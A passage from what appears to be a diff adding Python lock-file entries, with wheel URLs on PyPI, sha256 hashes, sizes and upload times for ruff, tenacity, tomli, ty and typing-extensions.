"https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, + { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, + { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, + { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, + { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, +] + +[[package]] +name = "tenacity" +version = "9.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/47/c6/ee486fd809e357697ee8a44d3d69222b344920433d3b6666ccd9b374630c/tenacity-9.1.4.tar.gz", hash = "sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a", size = 49413, upload-time = "2026-02-07T10:45:33.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/c1/eb8f9debc45d3b7918a32ab756658a0904732f75e555402972246b0b8e71/tenacity-9.1.4-py3-none-any.whl", hash = "sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55", size = 28926, upload-time = "2026-02-07T10:45:32.24Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" }, + { url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" }, + { url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" }, + { url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" }, + { url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" }, + { url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" }, + { url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" }, + { url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" }, + { url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" }, + { url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" }, + { url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" }, + { url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" }, + { url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" }, + { url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" }, + { url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" }, + { url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" }, + { url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" }, + { url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" }, + { url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" }, + { url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" }, + { url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" }, + { url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" }, + { url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" }, + { url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" }, + { url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" }, + { url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" }, + { url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" }, + { url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" }, + { url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" }, + { url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" }, + { url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" }, + { url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" }, + { url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" }, + { url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" }, + { url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" }, + { url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" }, + { url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" }, + { url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" }, + { url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" }, + { url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" }, + { url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" }, + { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = 